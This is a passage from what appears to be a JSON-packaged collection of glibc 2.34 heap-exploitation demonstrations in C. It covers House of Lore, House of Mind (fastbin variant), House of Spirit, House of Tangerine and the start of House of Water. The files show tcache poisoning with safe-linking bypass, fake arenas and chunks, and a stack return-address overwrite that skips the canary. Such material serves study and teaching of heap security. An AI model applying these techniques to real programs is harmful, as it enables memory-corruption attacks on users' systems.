here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.34/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.34/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.34/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.34/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.34/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned 